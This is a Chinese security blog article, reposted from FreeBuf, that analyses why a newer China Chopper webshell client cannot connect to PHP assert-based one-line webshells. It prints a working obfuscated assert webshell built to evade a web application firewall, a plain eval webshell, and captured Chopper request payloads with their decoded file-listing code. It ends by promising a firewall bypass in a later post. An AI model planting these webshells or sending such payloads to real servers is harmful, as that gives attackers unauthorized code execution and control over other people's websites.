新版中国菜刀(20141213)一句话不支持php assert分析


发布人:admin分类:网络安全浏览量:30发布时间:2017-12-12

前几天下了新版的菜刀,今天发现一个php一句话连不上,但是旧版的菜刀可以连,而且新版是可以连接eval的php一句话。当时挺好奇,排除了非菜刀造成的可能性,就只能是菜刀更新的问题,所以接下来要做的就是分析新版和老版菜刀,并做对比。

0×01. 抓包分析

对新版菜刀抓包

在远程的服务器上放了一个过某狗的php一句话,文件名为xxoo.php,内容如下

<?php
@$_="s"."s"./*-/*-*/"e"./*-/*-*/"r";
@$_=/*-/*-*/"a"./*-/*-*/$_./*-/*-*/"t";
@$_/*-/*-*/($/*-/*-*/{"_P"./*-/*-*/"OS"./*-/*-*/"T"}
[/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]); // 密码-7
?>

新版菜刀连接后,出现下图错误。

用wireshark抓包,观察http的request和response

wireshark过滤条件:ip.addr==xx.xx.xx.xx and http,设置完成后,点击开始capture。现在回到菜刀,右键菜刀的文件管理,出现上图的错误后,即可抓到如下两个包,一个request,一个response

注意,如果是本地localhost服务器的话,wireshark不能直接抓包,具体可以百度或者用burp。

菜刀整个post数据一共有三个变量

变量一:

-7=$xx=chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99).chr(111).chr(100).chr(101);$yy=$_POST;@eval/**/($xx/**/($yy[z0]));

解密后为:@eval/**/(base64_decode/**/($_POST[z0]));还有两个%01,因为没有影响就不写了。

变量二:

z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskRD1iYXNlNjRfZGVjb2RlKGdldF9tYWdpY19xdW90ZXNfZ3BjKCk/c3RyaXBzbGFzaGVzKCRfUE9TVFsiejEiXSk6JF9QT1NUWyJ6MSJdKTskRj1Ab3BlbmRpcigkRCk7aWYoJEY9PU5VTEwpe2VjaG8oIkVSUk9SOi8vIFBhdGggTm90IEZvdW5kIE9yIE5vIFBlcm1pc3Npb24hIik7fWVsc2V7JE09TlVMTDskTD1OVUxMO3doaWxlKCROPUByZWFkZGlyKCRGKSl7JFA9JEQuIi8iLiROOyRUPUBkYXRlKCJZLW0tZCBIOmk6cyIsQGZpbGVtdGltZSgkUCkpO0AkRT1zdWJzdHIoYmFzZV9jb252ZXJ0KEBmaWxlcGVybXMoJFApLDEwLDgpLC00KTskUj0iXHQiLiRULiJcdCIuQGZpbGVzaXplKCRQKS4iXHQiLiRFLiIKIjtpZihAaXNfZGlyKCRQKSkkTS49JE4uIi8iLiRSO2Vsc2UgJEwuPSROLiRSO31lY2hvICRNLiRMO0BjbG9zZWRpcigkRik7fTtlY2hvKCJ8PC0iKTtkaWUoKTs=

通过上面@eval/**/(base64_decode/**/($_POST[z0]));可以知道z0是经过base64编码的,那么解码后为:

@ini_set("display_errors", "0");
@set_time_limit(0);
@set_magic_quotes_runtime(0);
echo ("->|");;
$D = base64_decode(get_magic_quotes_gpc() ? stripslashes($_POST["z1"]) : $_POST["z1"]);
$F = @opendir($D);
if ($F == NULL) {
    echo ("ERROR:// Path Not Found Or No Permission!");
} else {
    $M = NULL;
    $L = NULL;
    while ($N = @readdir($F)) {
        $P = $D . "/" . $N;
        $T = @date("Y-m-d H:i:s", @filemtime($P));
        @$E = substr(base_convert(@fileperms($P) , 10, 8) , -4);
        $R = "\t" . $T . "\t" . @filesize($P) . "\t" . $E . "
";
        if (@is_dir($P)) $M.= $N . "/" . $R;
        else $L.= $N . $R;
    }
    echo $M . $L;
    @closedir($F);
};
echo ("|<-");
die();

可以看出z0是遍历文件的作用。

变量三:

z1=QzpcXHdhbXBcXHd3d1xc

通过变量二可以知道z1也是base64编码的,那么z1解码后为C:\\wamp\\www\\,可以看出是z1遍历文件的文件路径。

对老版菜刀抓包

同理,

变量一:

-7=@eval(base64_decode($_POST[z0])); 

变量二:

z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskRD1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JEY9QG9wZW5kaXIoJEQpO2lmKCRGPT1OVUxMKXtlY2hvKCJFUlJPUjovLyBQYXRoIE5vdCBGb3VuZCBPciBObyBQZXJtaXNzaW9uISIpO31lbHNleyRNPU5VTEw7JEw9TlVMTDt3aGlsZSgkTj1AcmVhZGRpcigkRikpeyRQPSRELiIvIi4kTjskVD1AZGF0ZSgiWS1tLWQgSDppOnMiLEBmaWxlbXRpbWUoJFApKTtAJEU9c3Vic3RyKGJhc2VfY29udmVydChAZmlsZXBlcm1zKCRQKSwxMCw4KSwtNCk7JFI9Ilx0Ii4kVC4iXHQiLkBmaWxlc2l6ZSgkUCkuIlx0Ii4kRS4iCiI7aWYoQGlzX2RpcigkUCkpJE0uPSROLiIvIi4kUjtlbHNlICRMLj0kTi4kUjt9ZWNobyAkTS4kTDtAY2xvc2VkaXIoJEYpO307ZWNobygifDwtIik7ZGllKCk7

base64_decode后为:

ini_set("display_errors", "0");
@set_time_limit(0);
@set_magic_quotes_runtime(0);
echo ("->|");;
$D = base64_decode($_POST["z1"]);
$F = @opendir($D);
if ($F == NULL) {
    echo ("ERROR:// Path Not Found Or No Permission!");
} else {
    $M = NULL;
    $L = NULL;
    while ($N = @readdir($F)) {
        $P = $D . "/" . $N;
        $T = @date("Y-m-d H:i:s", @filemtime($P));
        @$E = substr(base_convert(@fileperms($P) , 10, 8) , -4);
        $R = "\t" . $T . "\t" . @filesize($P) . "\t" . $E . "
";
        if (@is_dir($P)) $M.= $N . "/" . $R;
        else $L.= $N . $R;
    }
    echo $M . $L;
    @closedir($F);
};
echo ("|<-");
die();
?>

变量三:

z1=QzpcXHdhbXBcXHd3d1xc

0×02. 对比分析

通过第一步的抓包对比分析后,可以发现只有变量一是造成assert不能使用的元凶,因为其他两个变量基本是一模一样。既然eval的一句话可以使用,而assert的一句话不能使用,那应该是eval和assert用法不同造成这个问题。

通过文档可以发现assert是判断一条语句是否为FALSE(注意只是一条),而eval是把当前字符串作为代码执行(可以是多条)。

证实下:

xxoo.php输出a,说明只执行了第一句

array.php内容如下(过某狗)

<?php
eval(
$_POST[cmd] 
);
?>

输出ab,说明两句都执行

真想终于浮出水面。由于assert的单个语句限制和新版菜刀第一个变量是多条语句导致assert的一句话新版菜刀不能使用。

0×03. 影响

所有assert的一句话都不能用,但可以使用老版本。

0×04. 总结

1. 通过这样分析后,某狗的菜刀拦截就完全可以bypass,下篇文章再说吧。

2. 只分析了php的文件管理部分,其他部分可能也会存在些许的不一样,没有遇到,所以没做分析

[作者/JoyChou,属FreeBuf原创奖励计划文章,]


被黑站点统计 - 文章版权1、本主题所有言论和图片纯属会员个人意见,与本文章立场无关
2、本站所有主题由该文章作者发表,该文章作者与被黑站点统计享有文章相关版权
3、其他单位或个人使用、转载或引用本文时必须同时征得该文章作者和被黑站点统计的同意
4、文章作者须承担一切因本文发表而直接或间接导致的民事或刑事法律责任
5、本帖部分内容转载自其它媒体,但并不代表本站赞同其观点和对其真实性负责
6、如本帖侵犯到任何版权问题,请立即告知本站,本站将及时予与删除并致以最深的歉意
7、被黑站点统计管理员有权不事先通知发贴者而删除本文

免责声明

本站主要通过网络搜集国内被黑网站信息,统计分析数据,为部署安全型网络提供强有力的依据.本站所有工作人员均不参与黑站,挂马或赢利性行为,所有数据均为网民提供,提交者不一定是黑站人,所有提交采取不记名,先提交先审核的方式,如有任何疑问请及时与我们联系.

admin  的文章


微信公众号

微信公众号


Copyright © 2012-2022被黑网站统计系统All Rights Reserved
页面总访问量:21389991(PV) 页面执行时间:89.948(MS)
  • xml
  • 网站地图